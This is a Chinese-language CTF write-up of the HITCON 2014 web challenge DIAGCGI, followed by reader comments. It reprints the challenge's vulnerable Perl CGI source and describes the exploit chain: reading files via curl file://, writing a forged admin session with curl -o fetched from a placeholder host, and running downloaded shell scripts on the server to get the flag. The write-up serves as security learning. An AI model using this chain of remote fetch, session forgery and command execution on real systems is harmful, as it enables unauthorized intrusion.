HITCON CTF 2014 DIAGCGI Writeup
星期6到星期一,为时三天的CTF
我们共得到了206分,获得了第207名的佳绩 (误####
这是题目DIAGCGI 的Writeup~ (WEB)
先来张截图
可以看到有ping, traceroute, 和 curl的选项
大家应该看得出这是命令执行吧
但是,这并行不通
当你输入 127.0.0.1 || dir 或 127.0.0.1 && dir 试图注入命令时,|| 和 &&会被过滤掉。
当时没想到curl可以使用file:/// 来读取文件
知道有个小伙伴想到了,并告诉我,才开始有进展....
一般上,默认的cgi-bin位置都在 /usr/lib/cgi-bin/
所以输入 file:///usr/lib/cgi-bin/dana-na.cgi 然后按curl (忘了说, dana-na.cgi 是路径(在网址中有的))
即可看到源码
在这里我把源码贴出来是perl的源码,过后看到,html中有个被注释了的输入按钮,名为shell,我想那应该是执行命令吧
但是会显示这个.
问题出现在这段代码但是我笨笨地纠结在 sechash那边...
后来想到 因为过滤代码 (如下) 没有过滤 -o 之类的东西,而curl可以把下载的文件内容输出成档案,所以可以伪造个session。session的格式是这样的而session的文件名则存在cookie中的 diagsess
然后我在一些托管网站,输入以下代码把guest改成了admin
然后输入 http://xxx.xxx/xxxx.txt -o /tmp/aaa.sess (因为存session的路径在tmp所以输入在tmp,而且过后发现,只有tmp我才可以写入文件)
然后按curl
成功把档案输入到 /tmp/aaa.sess了
然后把cookie中的diagsess字段换成aaa.sess即可
然后就可以执行命令了,
但是执行命令不会有任何回显
所以想到 ls -l /tmp/ > /tmp/aaa.txt
但是 > 被过滤了,同样的方法,把脚本放在托管,然后输入文件
过后执行 sh /tmp/aaa.sh
然后用curl读取 /tmp/aaa.txt
过后发现大牛留下来的 读key脚本
执行这个后读取,拿到flag : HITCON{a755be06b165ed8fc4710d3544fce942}
我写得有点不好,大牛不要喷我... (这文章我可能写得很难看懂...
我们共得到了206分,获得了第207名的佳绩 (误####
这是题目DIAGCGI 的Writeup~ (WEB)
先来张截图
可以看到有ping, traceroute, 和 curl的选项
大家应该看得出这是命令执行吧
但是,这并行不通
当你输入 127.0.0.1 || dir 或 127.0.0.1 && dir 试图注入命令时,|| 和 &&会被过滤掉。
当时没想到curl可以使用file:/// 来读取文件
知道有个小伙伴想到了,并告诉我,才开始有进展....
一般上,默认的cgi-bin位置都在 /usr/lib/cgi-bin/
所以输入 file:///usr/lib/cgi-bin/dana-na.cgi 然后按curl (忘了说, dana-na.cgi 是路径(在网址中有的))
即可看到源码
在这里我把源码贴出来
#!/usr/bin/perl -w
use CGI;
use Digest::MD5 qw(md5_hex);
$cgi = new CGI;
$SESSDIR = "/tmp/";
$sessfile = $cgi->cookie("diagsess");
$arg0 = $cgi->param("arg");
$action = $cgi->param("action");
$arg = &safestr($arg0);
if (! defined($sessfile) )
{
if ( md5_hex($cgi->param("sechash")) =~ /^000000000000.*$/)
{
$sesshash{'user'} = 'admin';
}
else
{
$sesshash{'user'} = 'guest';
}
$sesshash{'ip'} = &get_ip;
$diagsess = md5_hex( $sesshash{'user'} . '|||' . $sesshash{'ip'} );
$cookie = "diagsess=$diagsess;";
&write_session;
print $cgi->header(-cookie => $cookie,
-expires => 'Mon, 01 Jan 1999 00:00:00 GMT',
-'cache-control' => 'no-cache',
-pragma => 'no-cache',-'location'=> 'dana-na.cgi?sechash=' );
exit 0;
}
else
{
print $cgi->header();
&read_session;
&print_menu;
}
if (defined ($action) && length($action)>0)
{
if ($action =~ /^print_session$/)
{
&print_session;
exit 0;
}
if ($action =~ /^curl$/)
{
&curl($arg);
exit 0;
}
if ($action =~ /^ping$/ )
{
&ping($arg);
exit 0;
}
if ($action =~ /^traceroute$/)
{
&traceroute ($arg);
exit 0;
}
if ($action =~ /^shell$/)
{
&shell($arg);
exit 0;
}
}
sub curl
{
$host = shift;
print "<pre><textarea rows=24 cols=80>";
if (defined($host) && length($host)>1)
{
open(GG,"/usr/bin/curl -s $host |") and do
{
while(<GG>)
{
print;
}
}
}
}
sub ping
{
my $host = shift;
print "<pre>";
if(defined($host) && length($host)>1)
{
open(GG,"/bin/ping -c3 $host |") and do
{
while(<GG>)
{
print;
}
};
close GG;
}
}
sub traceroute
{
my $host = shift;
print "<pre>";
if(defined($host) && length($host)>1)
{
open(GG,"/usr/sbin/traceroute -d -n -w 5 $host |") and do
{
while(<GG>)
{
print;
}
};
close GG;
}
}
sub read_session
{
undef %sesshash;
if(! -f "$SESSDIR/$sessfile")
{
print "session error!";
return;
}
open(GG, "$SESSDIR/$sessfile") and do {
while (<GG>) {
eval($_);
}
close GG;
};
}
sub write_session
{
open(GG, ">$SESSDIR/$diagsess") and do
{
foreach (sort keys %sesshash)
{
print GG "\$sesshash{'$_'} = '$sesshash{$_}';\n";
}
};
close GG;
}
sub print_session
{
foreach (sort keys %sesshash) {
print "$_=$sesshash{$_}\n";
}
}
sub shell
{
$cmd = shift;
print "<pre>";
if ( $sesshash{'user'} eq 'admin' )
{
open(GG, "$cmd |") and do
{
print;
};
}
else
{
print "sorry $sesshash{'user'}! you're not admin!\n";
}
}
sub print_menu
{
$arg0 =~ s/\</\<\;/g;
open(GG,"cat menu.html |") and do
{
while(<GG>)
{
$_ =~ s/\%\%arg\%\%/$arg0/g;
print $_;
}
close GG;
};
}
sub get_ip
{
$h1 = $ENV{'REMOTE_ADDR'};
$h2 = $ENV{'HTTP_CLIENT_IP'};
$h3 = $ENV{'HTTP_X_FORWARDED_FOR'};
if (length($h3)>0)
{
return $h3;
}
elsif (length($h2)>0)
{
return $h2;
}
else
{
return $h1;
}
return "UNKNOWN";
}
sub safestr
{
my $str = shift;
$str =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;;
return $str;
}
但是会显示这个.
问题出现在这段代码
if (! defined($sessfile) )
{
if ( md5_hex($cgi->param("sechash")) =~ /^000000000000.*$/)
{
$sesshash{'user'} = 'admin';
}
else
{
$sesshash{'user'} = 'guest';
}
$sesshash{'ip'} = &get_ip;
$diagsess = md5_hex( $sesshash{'user'} . '|||' . $sesshash{'ip'} );
$cookie = "diagsess=$diagsess;";
&write_session;
print $cgi->header(-cookie => $cookie,
-expires => 'Mon, 01 Jan 1999 00:00:00 GMT',
-'cache-control' => 'no-cache',
-pragma => 'no-cache',-'location'=> 'dana-na.cgi?sechash=' );
exit 0;
}
后来想到 因为过滤代码 (如下) 没有过滤 -o 之类的东西,而curl可以把下载的文件内容输出成档案,所以可以伪造个session。
sub safestr
{
my $str = shift;
$str =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;;
return $str;
}
$sesshash{'ip'} = '218.111.2.93';
$sesshash{'user'} = 'guest';
然后我在一些托管网站,输入以下代码
$sesshash{'ip'} = '218.111.2.93';
$sesshash{'user'} = 'admin';
然后输入 http://xxx.xxx/xxxx.txt -o /tmp/aaa.sess (因为存session的路径在tmp所以输入在tmp,而且过后发现,只有tmp我才可以写入文件)
然后按curl
成功把档案输入到 /tmp/aaa.sess了
然后把cookie中的diagsess字段换成aaa.sess即可
然后就可以执行命令了,
但是执行命令不会有任何回显
所以想到 ls -l /tmp/ > /tmp/aaa.txt
但是 > 被过滤了,同样的方法,把脚本放在托管,然后输入文件
过后执行 sh /tmp/aaa.sh
然后用curl读取 /tmp/aaa.txt
过后发现大牛留下来的 读key脚本
执行这个后读取,拿到flag : HITCON{a755be06b165ed8fc4710d3544fce942}
我写得有点不好,大牛不要喷我... (这文章我可能写得很难看懂...
评论16次
最后是用大牛的脚本?
懒惰了,所以就用大牛的脚本XD
最后是用大牛的脚本?
可以的,很不错的分享
有去参加的吗,好牛掰的样子
台湾的。可以出国么。
谢谢分享学xi了
表示只是能够看个半懂.还需要努力
这个,太牛逼了。
去参加的表示挺有意思
啥 ?.. 比赛还是啥?
看到大牛们的表演分析。心里默默32个赞
错过hitcon了 压力
你们西安去一定可以拿到好成绩吧~ >.<
错过hitcon了 压力
不错哦。
楼主也去HITCON了?好厉害,而且年龄这么小
没钱去台湾,只能玩他们的CTF
楼主也去HITCON了?好厉害,而且年龄这么小